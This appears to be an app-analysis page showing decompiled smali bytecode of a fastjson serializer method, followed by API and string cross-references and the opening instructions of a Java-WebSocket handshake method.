                                                249move-object/from16 v18, v14
                                                251const-string v14, "i"
                                                252move-object/from16 v19, v4
                                                254invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                255move-result v4
                                                257invoke-interface {v1, v13, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                259invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                261invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                262move-result v4
                                                263const/16 v13, 0x15
                                                265invoke-interface {v1, v13, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                267invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                268move-result v4
                                                270invoke-interface {v1, v13, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                271const/16 v4, 0xa2
                                                273invoke-interface {v1, v4, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                275invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                276move-result v4
                                                278invoke-interface {v1, v13, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                279const/16 v4, 0x99
                                                281invoke-interface {v1, v4, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                283invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                284move-result v4
                                                285const/16 v13, 0x19
                                                287invoke-interface {v1, v13, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                288const/16 v4, 0x10
                                                289const/16 v15, 0x2c
                                                291invoke-interface {v1, v4, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                293sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                294const/16 v15, 0xb6
                                                296invoke-interface {v1, v15, v4, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                298invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                300invoke-virtual {v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                301move-result v4
                                                303invoke-interface {v1, v13, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                305invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                306move-result v4
                                                307const/16 v6, 0x15
                                                309invoke-interface {v1, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                310const/16 v4, 0xb9
                                                312const-string v6, "get"
                                                314const-string v9, "(I)Ljava/lang/Object;"
                                                316invoke-interface {v1, v4, v10, v6, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                318const-string v4, "list_item"
                                                320invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                321move-result v6
                                                322const/16 v9, 0x3a
                                                324invoke-interface {v1, v9, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                325new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                327invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                328new-instance v9, Lcom/alibaba/fastjson/asm/Label;
                                                330invoke-direct {v9}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                332invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                333move-result v10
                                                334const/16 v13, 0x19
                                                336invoke-interface {v1, v13, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                337const/16 v10, 0xc7
                                                339invoke-interface {v1, v10, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                341invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                342move-result v10
                                                344invoke-interface {v1, v13, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                346sget-object v10, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                348const-string v13, "writeNull"
                                                350const-string v15, "()V"
                                                351move-object/from16 v20, v12
                                                352const/16 v12, 0xb6
                                                354invoke-interface {v1, v12, v10, v13, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                355const/16 v10, 0xa7
                                                357invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                359invoke-interface {v1, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                360new-instance v9, Lcom/alibaba/fastjson/asm/Label;
                                                362invoke-direct {v9}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                363new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                365invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                366if-eqz v5, :cond_382
                                                368invoke-virtual {v5}, Ljava/lang/Class;->getModifiers()I
                                                369move-result v12
                                                371invoke-static {v12}, Ljava/lang/reflect/Modifier;->isPublic(I)Z
                                                372move-result v12
                                                373if-eqz v12, :cond_382
                                                375invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                376move-result v12
                                                377const/16 v13, 0x19
                                                379invoke-interface {v1, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                381const-string v12, "java/lang/Object"
                                                383const-string v13, "getClass"
                                                385const-string v15, "()Ljava/lang/Class;"
                                                386move-object/from16 v21, v7
                                                387const/16 v7, 0xb6
                                                389invoke-interface {v1, v7, v12, v13, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                391invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                392move-result-object v7
                                                394invoke-static {v7}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                395move-result-object v7
                                                397invoke-interface {v1, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                398const/16 v7, 0xa6
                                                400invoke-interface {v1, v7, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                401move-object/from16 v7, p0
                                                403invoke-direct {v7, v3, v1, v2, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_getListFieldItemSer(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;)V
                                                405const-string v12, "list_item_desc"
                                                407invoke-virtual {v3, v12}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                408move-result v13
                                                409const/16 v15, 0x3a
                                                411invoke-interface {v1, v15, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                412new-instance v13, Lcom/alibaba/fastjson/asm/Label;
                                                414invoke-direct {v13}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                415new-instance v15, Lcom/alibaba/fastjson/asm/Label;
                                                417invoke-direct {v15}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                419invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                420move-result v22
                                                421if-eqz v22, :cond_30a
                                                423invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                424move-result v22
                                                425if-eqz v22, :cond_275
                                                427invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                428move-result v22
                                                429if-eqz v22, :cond_275
                                                431const-string v22, "writeDirectNonContext"
                                                432move-object/from16 p1, v8
                                                433move-object/from16 v7, v22
                                                434goto/16 :goto_278
                                                435cond_275: move-object/from16 p1, v8
                                                436move-object v7, v11
                                                437goto_278:
                                                438invoke-virtual {v3, v12}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                439move-result v8
                                                440move-object/from16 v22, v0
                                                441const/16 v0, 0x19
                                                443invoke-interface {v1, v0, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                444const/16 v8, 0xc1
                                                446sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                448invoke-interface {v1, v8, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                449const/16 v0, 0x99
                                                451invoke-interface {v1, v0, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                453invoke-virtual {v3, v12}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                454move-result v0
                                                455const/16 v8, 0x19
                                                457invoke-interface {v1, v8, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                458const/16 v0, 0xc0
                                                459move-object/from16 v23, v6
                                                461sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                463invoke-interface {v1, v0, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                464const/4 v0, 0x1
                                                466invoke-interface {v1, v8, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                468invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                469move-result v6
                                                471invoke-interface {v1, v8, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                473invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                474move-result v6
                                                475if-eqz v6, :cond_2b8
                                                477invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                478move-object/from16 v24, v10
                                                479goto/16 :goto_2ce
                                                480cond_2b8:
                                                481invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                482move-result v0
                                                483const/16 v6, 0x15
                                                485invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                486const/16 v0, 0xb8
                                                488const-string v6, "java/lang/Integer"
                                                490const-string v8, "valueOf"
                                                491move-object/from16 v24, v10
                                                493const-string v10, "(I)Ljava/lang/Integer;"
                                                495invoke-interface {v1, v0, v6, v8, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                496goto_2ce:
                                                497invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                498move-result-object v0
                                                500invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                501move-result-object v0
                                                503invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                504iget v0, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                506invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                507move-result-object v0
                                                509invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                511sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                512new-instance v6, Ljava/lang/StringBuilder;
                                                514invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                516const-string v8, "(L"
                                                518invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                520sget-object v8, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                522invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                524const-string v8, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                526invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                528invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                529move-result-object v6
                                                530const/16 v8, 0xb6
                                                532invoke-interface {v1, v8, v0, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                533const/16 v0, 0xa7
                                                535invoke-interface {v1, v0, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                537invoke-interface {v1, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                538goto/16 :goto_312
                                                539cond_30a: move-object/from16 v22, v0
                                                540move-object/from16 v23, v6
                                                541move-object/from16 p1, v8
                                                542move-object/from16 v24, v10
                                                543goto_312:
                                                544invoke-virtual {v3, v12}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                545move-result v0
                                                546const/16 v6, 0x19
                                                548invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                549const/4 v0, 0x1
                                                551invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                553invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                554move-result v7
                                                556invoke-interface {v1, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                558invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                559move-result v6
                                                560if-eqz v6, :cond_330
                                                562invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                563goto/16 :goto_344
                                                564cond_330:
                                                565invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                566move-result v0
                                                567const/16 v6, 0x15
                                                569invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                570const/16 v0, 0xb8
                                                572const-string v6, "java/lang/Integer"
                                                574const-string v7, "valueOf"
                                                576const-string v8, "(I)Ljava/lang/Integer;"
                                                578invoke-interface {v1, v0, v6, v7, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                579goto_344:
                                                580invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                581move-result-object v0
                                                583invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                584move-result-object v0
                                                586invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                587iget v0, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                589invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                590move-result-object v0
                                                592invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                593const/16 v0, 0xb9
                                                595sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer:Ljava/lang/String;
                                                596new-instance v7, Ljava/lang/StringBuilder;
                                                598invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                600const-string v8, "(L"
                                                602invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                604sget-object v8, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                606invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                608const-string v8, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                610invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                612invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                613move-result-object v7
                                                615invoke-interface {v1, v0, v6, v11, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                617invoke-interface {v1, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                618const/16 v0, 0xa7
                                                620invoke-interface {v1, v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                621move-object/from16 v0, v24
                                                622goto/16 :goto_38b
                                                623cond_382: move-object/from16 v22, v0
                                                624move-object/from16 v23, v6
                                                625move-object/from16 v21, v7
                                                626move-object/from16 p1, v8
                                                627move-object v0, v10
                                                628goto_38b:
                                                629invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                630const/4 v0, 0x1
                                                631const/16 v6, 0x19
                                                633invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                635invoke-virtual {v3, v4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                636move-result v4
                                                638invoke-interface {v1, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                640invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                641move-result v4
                                                642if-eqz v4, :cond_3a5
                                                644invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                645goto/16 :goto_3b9
                                                646cond_3a5:
                                                647invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                648move-result v0
                                                649const/16 v4, 0x15
                                                651invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                652const/16 v0, 0xb8
                                                654const-string v4, "java/lang/Integer"
                                                656const-string v6, "valueOf"
                                                658const-string v7, "(I)Ljava/lang/Integer;"
                                                660invoke-interface {v1, v0, v4, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                661goto_3b9: if-eqz v5, :cond_3e9
                                                663invoke-virtual {v5}, Ljava/lang/Class;->getModifiers()I
                                                664move-result v0
                                                666invoke-static {v0}, Ljava/lang/reflect/Modifier;->isPublic(I)Z
                                                667move-result v0
                                                668if-eqz v0, :cond_3e9
                                                669move-object/from16 v4, v19
                                                670check-cast v4, Ljava/lang/Class;
                                                672invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                673move-result-object v0
                                                675invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                676move-result-object v0
                                                678invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                679iget v0, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                681invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                682move-result-object v0
                                                684invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                686sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                688const-string v2, "writeWithFieldName"
                                                690const-string v4, "(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                691const/16 v5, 0xb6
                                                693invoke-interface {v1, v5, v0, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                694goto/16 :goto_3f4
                                                695cond_3e9: const/16 v5, 0xb6
                                                697sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                699const-string v2, "writeWithFieldName"
                                                701const-string v4, "(Ljava/lang/Object;Ljava/lang/Object;)V"
                                                703invoke-interface {v1, v5, v0, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                704goto_3f4:
                                                705invoke-interface {v1, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                706move-object/from16 v0, v23
                                                708invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                710invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                711move-result v0
                                                712const/4 v2, 0x1
                                                714invoke-interface {v1, v0, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitIincInsn(II)V
                                                715move-object/from16 v0, v22
                                                716const/16 v4, 0xa7
                                                718invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                719move-object/from16 v0, p1
                                                721invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                722move-object/from16 v0, v21
                                                724invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                725move-result v0
                                                726const/16 v4, 0x19
                                                728invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                729const/16 v0, 0x10
                                                730const/16 v5, 0x5d
                                                732invoke-interface {v1, v0, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                734sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                735move-object/from16 v5, v20
                                                736const/16 v6, 0xb6
                                                738invoke-interface {v1, v6, v0, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                739goto_42b:
                                                740invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                742sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                744const-string v2, "popContext"
                                                746const-string v4, "()V"
                                                748invoke-interface {v1, v6, v0, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                749move-object/from16 v0, v18
                                                751invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                752move-object/from16 v0, p0
                                                754invoke-direct {v0, v1, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_seperator(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                755move-object/from16 v2, v17
                                                757invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                758move-object/from16 v2, v16
                                                760invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                761return-void
                                                Cross References
                                                APIs
                                                • java.nio.ByteBuffer.capacity
                                                • java.nio.ByteBuffer.remaining
                                                • java.nio.ByteBuffer.remaining
                                                • java.nio.ByteBuffer.capacity
                                                • java.nio.ByteBuffer.remaining
                                                • java.nio.ByteBuffer.allocate
                                                • java.nio.ByteBuffer.flip
                                                • java.nio.ByteBuffer.put
                                                • java.nio.ByteBuffer.put
                                                • java.nio.ByteBuffer.flip
                                                • java.nio.ByteBuffer.mark
                                                • org.java_websocket.enums.Role.SERVER:Lorg/java_websocket/enums/Role
                                                • java.util.List.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.nio.ByteBuffer.reset
                                                • org.java_websocket.exceptions.InvalidDataException.<init>
                                                • org.java_websocket.enums.HandshakeState.MATCHED:Lorg/java_websocket/enums/HandshakeState
                                                • org.java_websocket.exceptions.InvalidDataException.<init>
                                                • org.java_websocket.enums.HandshakeState.MATCHED:Lorg/java_websocket/enums/HandshakeState
                                                • org.java_websocket.enums.Role.CLIENT:Lorg/java_websocket/enums/Role
                                                • org.java_websocket.enums.HandshakeState.MATCHED:Lorg/java_websocket/enums/HandshakeState
                                                • java.lang.RuntimeException.getMessage
                                                • org.java_websocket.exceptions.InvalidDataException.getCloseCode
                                                • org.java_websocket.exceptions.InvalidDataException.getMessage
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.nio.ByteBuffer.capacity
                                                • java.nio.ByteBuffer.reset
                                                • org.java_websocket.exceptions.IncompleteHandshakeException.getPreferredSize
                                                • java.nio.ByteBuffer.capacity
                                                • java.nio.ByteBuffer.allocate
                                                • java.nio.ByteBuffer.put
                                                • java.nio.ByteBuffer.limit
                                                • java.nio.ByteBuffer.position
                                                • java.nio.ByteBuffer.capacity
                                                • java.nio.ByteBuffer.limit
                                                Strings
                                                • Closing due to protocol error: wrong http function
                                                • wrong http function
                                                • Closing due to wrong handshake
                                                • Closing due to internal server error
                                                • Closing due to wrong handshake. Possible handshake rejection
                                                • Closing due to protocol error: no draft matches
                                                • no draft matches
                                                • Closing due to protocol error: the handshake did finally not match
                                                • the handshake did finally not match
                                                • Closing since client was never connected
                                                • Closing due to invalid data exception. Possible handshake rejection
                                                • Closing due to protocol error: draft {} refuses handshake
                                                • draft
                                                • refuses handshake
                                                • Closing due to invalid handshake
                                                Position Instruction Meta Information
                                                1iget-object v0, p0, Lorg/java_websocket/WebSocketImpl;->tmpHandshakeBytes:Ljava/nio/ByteBuffer;
                                                3invoke-virtual {v0}, Ljava/nio/ByteBuffer;->capacity()I
                                                4move-result v0
                                                5if-nez v0, :cond_a
                                                6move-object v0, p1
